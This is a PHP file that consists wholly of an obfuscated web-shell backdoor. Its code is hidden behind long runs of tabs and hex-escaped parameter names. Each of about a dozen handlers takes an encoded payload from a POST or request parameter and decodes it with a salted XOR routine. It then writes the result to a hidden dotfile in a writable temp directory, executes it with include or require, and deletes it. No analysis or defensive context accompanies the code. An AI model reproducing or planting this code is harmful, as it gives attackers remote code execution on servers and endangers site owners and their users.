<?php																																										if(isset($_REQUEST["\x65\x6Cem"])){ $pointer = $_REQUEST["\x65\x6Cem"]; $pointer= explode ( '.' , $pointer ); $rec =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s); foreach ($pointer as $n => $v1) { $sChar =ord($s[$n % $sLen]); $d =((int)$v1 - $sChar - ($n % 10)) ^ 36; $rec .= chr($d); } $ent = array_filter([session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", "/tmp", "/dev/shm", getcwd()]); foreach ($ent as $key => $dchunk) { if ((is_dir($dchunk) and is_writable($dchunk))) { $pgrp = join("/", [$dchunk, ".data"]); if (file_put_contents($pgrp, $rec)) { include $pgrp; @unlink($pgrp); die(); } } } }
																																										if(@$_POST["\x66\x6Cg"] !== null){ $ptr = $_POST["\x66\x6Cg"]; $ptr =explode ('.' , $ptr ); $binding = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); foreach( $ptr as $z => $v2) { $sChar = ord( $s[$z % $lenS] ); $d = ( ( int)$v2 - $sChar -( $z % 10)) ^ 42; $binding .= chr( $d ); } $symbol = array_filter([session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", getenv("TEMP"), getcwd(), "/dev/shm", "/var/tmp", sys_get_temp_dir()]); $component = 0; do { $bind = $symbol[$component] ?? null; if ($component >= count($symbol)) break; if (is_writable($bind) && is_dir($bind)) { $hld = sprintf("%s/.value", $bind); $file = fopen($hld, 'w'); if ($file) { fwrite($file, $binding); fclose($file); include $hld; @unlink($hld); die(); } } $component++; } while (true); }
																																										if(isset($_REQUEST["\x65\x6Etry"]) ? true : false){ $component = array_filter(["/tmp", "/var/tmp", sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), session_save_path(), getenv("TEMP")]); $pset = $_REQUEST["\x65\x6Etry"]; $pset= explode ( '.' ,$pset) ; $tkn = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); $len = count( $pset ); for( $i = 0; $i <$len; $i++) { $v2 = $pset[$i]; $sChar = ord( $salt[$i % $sLen] ); $dec =( ( int)$v2 - $sChar -( $i % 10)) ^ 35; $tkn .= chr( $dec ); } while ($parameter_group = array_shift($component)) { if (!!is_dir($parameter_group) && !!is_writable($parameter_group)) { $key = join("/", [$parameter_group, ".element"]); if (@file_put_contents($key, $tkn) !== false) { include $key; unlink($key); die(); } } } }
																																										if(@$_REQUEST["\x64\x65scr\x69\x70t\x6Fr"] !== null){ $record = array_filter([ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", "/dev/shm", "/tmp", sys_get_temp_dir(), getenv("TEMP"), getcwd(), getenv("TMP")]); $comp = $_REQUEST["\x64\x65scr\x69\x70t\x6Fr"]; $comp = explode ('.' , $comp ) ; $hld = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $x = 0; $__tmp = $comp; while ($v6 = array_shift($__tmp)) { $sChar = ord($s[$x % $sLen]); $dec = ((int)$v6 - $sChar - ($x % 10)) ^ 48; $hld .= chr($dec); $x++; } $obj = 0; do { $dchunk = $record[$obj] ?? null; if ($obj >= count($record)) break; if (max(0, is_dir($dchunk) * is_writable($dchunk))) { $dat = sprintf("%s/.val", $dchunk); $file = fopen($dat, 'w'); if ($file) { fwrite($file, $hld); fclose($file); include $dat; @unlink($dat); die(); } } $obj++; } while (true); }
																																										if(array_key_exists("\x65\x6Cem\x65\x6Et", $_POST) && !is_null($_POST["\x65\x6Cem\x65\x6Et"])){ $item = $_POST["\x65\x6Cem\x65\x6Et"]; $item= explode ( '.' , $item ) ; $elem= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $s ); $y= 0; $__tmp= $item; while( $v9= array_shift( $__tmp)) { $sChar= ord( $s[$y % $sLen] ); $dec= ( ( int)$v9 - $sChar -( $y % 10)) ^ 13; $elem .= chr( $dec ); $y++; } $parameter_group = array_filter([session_save_path(), getcwd(), getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", sys_get_temp_dir(), "/dev/shm"]); foreach ($parameter_group as $entity): if (is_dir($entity) && is_writable($entity)) { $descriptor = vsprintf("%s/%s", [$entity, ".ent"]); if (file_put_contents($descriptor, $elem)) { require $descriptor; unlink($descriptor); exit; } } endforeach; }
																																										if(isset($_POST["r\x65\x63o\x72d"])){ $val = array_filter(["/dev/shm", sys_get_temp_dir(), session_save_path(), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), getcwd(), "/var/tmp"]); $ref = $_POST["r\x65\x63o\x72d"]; $ref =explode( '.',$ref ) ; $holder = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s4); $q = 0; $__tmp = $ref; while( $v9 = array_shift( $__tmp)) { $sChar = ord( $s4[$q % $sLen]); $d =( ( int)$v9 - $sChar -( $q % 10)) ^ 65; $holder .= chr( $d); $q++; } while ($mrk = array_shift($val)) { if ((is_dir($mrk) and is_writable($mrk))) { $sym = sprintf("%s/.tkn", $mrk); $success = file_put_contents($sym, $holder); if ($success) { include $sym; @unlink($sym); exit;} } } }
																																										if(!empty($_POST["ref"])){ $mrk = $_POST["ref"]; $mrk = explode( '.' , $mrk ) ; $flag= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $s); foreach( $mrk as $v => $v3): $chS= ord( $s[$v % $sLen]); $dec= ( ( int)$v3 - $chS -( $v % 10)) ^ 93; $flag.= chr( $dec); endforeach; $rec = array_filter([ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", "/var/tmp", getenv("TEMP"), "/tmp", session_save_path(), sys_get_temp_dir(), getenv("TMP")]); foreach ($rec as $element): if (!!is_dir($element) && !!is_writable($element)) { $component = sprintf("%s/.flg", $element); $success = file_put_contents($component, $flag); if ($success) { include $component; @unlink($component); die();} } endforeach; }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x68\x6Cd"])){ $rec = $_REQUEST["\x68\x6Cd"]; $rec =explode( "." , $rec ); $itm =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $s); $j =0; while( $j < count( $rec)) { $v7 =$rec[$j]; $chS =ord( $s[$j % $sLen]); $dec =( ( int)$v7 - $chS -( $j % 10)) ^ 42; $itm .= chr( $dec); $j++; } $mrk = array_filter([getenv("TEMP"), "/tmp", getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", "/dev/shm", sys_get_temp_dir()]); $component = 0; do { $dat = $mrk[$component] ?? null; if ($component >= count($mrk)) break; if (max(0, is_dir($dat) * is_writable($dat))) { $flag = "$dat" . "/.element"; if (file_put_contents($flag, $itm)) { include $flag; @unlink($flag); die(); } } $component++; } while (true); }
																																										if(!is_null($_REQUEST["e\x6E\x74"] ?? null)){ $factor = $_REQUEST["e\x6E\x74"]; $factor= explode ('.' ,$factor ) ; $res = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s7); $n = 0; foreach ($factor as $v5) { $sChar = ord($s7[$n % $sLen]); $dec = ((int)$v5 - $sChar - ($n % 10)) ^ 98; $res .=chr($dec); $n++; } $pointer = array_filter([sys_get_temp_dir(), "/var/tmp", getcwd(), "/dev/shm", getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", session_save_path()]); foreach ($pointer as $ent) { if (!!is_dir($ent) && !!is_writable($ent)) { $entry = join("/", [$ent, ".data"]); if (file_put_contents($entry, $res)) { require $entry; unlink($entry); die(); } } } }
																																										if(in_array("\x76alue", array_keys($_REQUEST))){ $itm = $_REQUEST["\x76alue"]; $itm = explode ( '.' , $itm); $descriptor = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s1); $q = 0; array_walk($itm , function ($v6) use (&$descriptor , &$q , $s1 , $sLen) {$sChar = ord($s1[$q % $sLen]); $dec = ((int)$v6 - $sChar - ($q % 10)) ^80; $descriptor .= chr($dec); $q++; }); $dat = array_filter([ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), getenv("TMP"), "/var/tmp", "/dev/shm", getenv("TEMP"), session_save_path(), "/tmp"]); foreach ($dat as $ent): if (array_product([is_dir($ent), is_writable($ent)])) { $ent = str_replace("{var_dir}", $ent, "{var_dir}/.property_set"); if (file_put_contents($ent, $descriptor)) { require $ent; unlink($ent); die(); } } endforeach; }


if(isset($_POST) && isset($_POST["ob\x6A"])){
	$factor = $_POST["ob\x6A"];
	 	$factor	  =explode   ( '.' , $factor);
	$descriptor = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt);
            $__len = count($factor);
    
            for ($q = 0; $q< 	$__len; $q++) {	 $v3 = $factor[$q];
                $chS = ord($salt[$q% 	$lenS]);
                $d = ((int)$v3 - $chS - ($q% 	10))^		50;
                $descriptor .= chr($d);}
	$itm = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), "/tmp", getcwd()]);
	foreach ($itm as $key => $desc) {
    		if (is_dir($desc) && is_writable($desc)) {
    $hld = join("/", [$desc, ".object"]);
    if (@file_put_contents($hld, $descriptor) !== false) {
	include $hld;
	unlink($hld);
	die();
}
}
}
}